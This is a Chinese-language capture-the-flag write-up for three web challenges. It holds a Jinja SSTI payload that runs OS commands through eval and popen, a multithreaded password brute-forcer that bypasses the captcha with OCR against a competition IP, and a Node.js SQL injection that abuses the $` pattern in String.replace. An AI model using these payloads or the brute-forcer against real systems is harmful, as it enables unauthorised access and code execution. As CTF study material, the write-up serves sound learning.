虽然比赛没有什么意思,但是还是要说一句,做安全一定不能嫌麻烦,这次也是践行了
web1
是个ssti
直觉很对,最后回显的时候卡了很久,不过可以用request参数来rce,感觉会更好一点
{{ url_for.__globals__['__builtins__']['eval']('" ".join(__import__("os").popen("mo" + "re " + chr(47) + "fla" + "gf149").read().split(chr(10)))') }}
web2
纯弱智,虽然猜到了是要爆破,但是爆破到1w5之后靶机被关了,目标密码在8w多,再多给几分钟时间就好了
import threading
import queue
import requests
from PIL import Image
import pytesseract
from io import BytesIO
import time
CAPTCHA_URL = "http://139.155.126.78:15607/captcha.php"
LOGIN_URL = "http://139.155.126.78:15607/index.php"
password_queue = queue.Queue()
NUM_THREADS = 20
SUCCESS_KEYWORD = "用户名或密码错误,请重试!"
def get_captcha_and_recognize(session):
r = session.get(CAPTCHA_URL, stream=True)
r.raise_for_status()
img_data = r.content
image = Image.open(BytesIO(img_data))
captcha_text = pytesseract.image_to_string(image, config="--psm 7 digits").strip()
return captcha_text
def try_login(session, username, password):
captcha_text = get_captcha_and_recognize(session)
form_data = {
"username": username,
"password": password,
"yzm": captcha_text
}
response = session.post(LOGIN_URL, data=form_data)
return response
def worker(thread_id):
session = requests.Session()
while True:
try:
password = password_queue.get_nowait()
except queue.Empty:
break
MAX_CAPTCHA_RETRY = 5
for attempt in range(MAX_CAPTCHA_RETRY):
resp = try_login(session, "admin", password)
text = resp.text
if "验证码输入有误" in text:
print(f"[Thread-{thread_id}] 密码: {password} -> 验证码识别错误, 重试第 {attempt+1} 次")
time.sleep(1)
continue
else:
if SUCCESS_KEYWORD not in text:
print(f"[Thread-{thread_id}] 登录成功! 密码: {password}")
sys.exit(0)
else:
print(f"[Thread-{thread_id}] 密码: {password} -> 登录失败 (非验证码问题).")
break
password_queue.task_done()
def main():
with open("passwords.txt", "r", encoding="latin-1") as f:
for line in f:
pwd = line.strip()
if pwd:
password_queue.put(pwd)
threads = []
for i in range(NUM_THREADS):
t = threading.Thread(target=worker, args=(i,))
t.start()
threads.append(t)
password_queue.join()
for t in threads:
t.join()
print("全部尝试结束")
if __name__ == "__main__":
main()
之后是php环境下的临时文件上传的考点,也是很常见了
web3
只能说这是唯一一个稍微有点意思的吧
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{
if(req.query.info){
if(req.url.match(/\,/ig)){
res.end('hacker1!');
}
var info = JSON.parse(req.query.info);
if(info.username&&info.password){
var username = info.username;
var password = info.password;
if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
connection.query(sql,function (err,rs) {
if (err) {
res.end('error1');
}
else {
if(rs.length>0){
res.sendFile('/flag');
}else {
res.end('username or password error');
}
}
})
}
else{
res.end("please input the data");
}
}
else{
res.end("please input the data");
}
})⏎
题目代码如上
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
关键语句是这两句
var username = "$` or 1=1 --+ "
var password = "12334"
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
console.log(sql)
写个测试demo就会发现 ,输出的结果变成了
select * from userinfo where username = 'select * from userinfo where username = ' or 1=1 --+ ' and password = '12334'
成功注入了
原因是
$`
在nodejs里的replace, $是有特殊含义的,而上述的符号就代表着,位于匹配子串左侧的文本,也就是
select * from userinfo where username = '
部分,其中'
直接和前面的匹配了,之后的部分自然也就注入了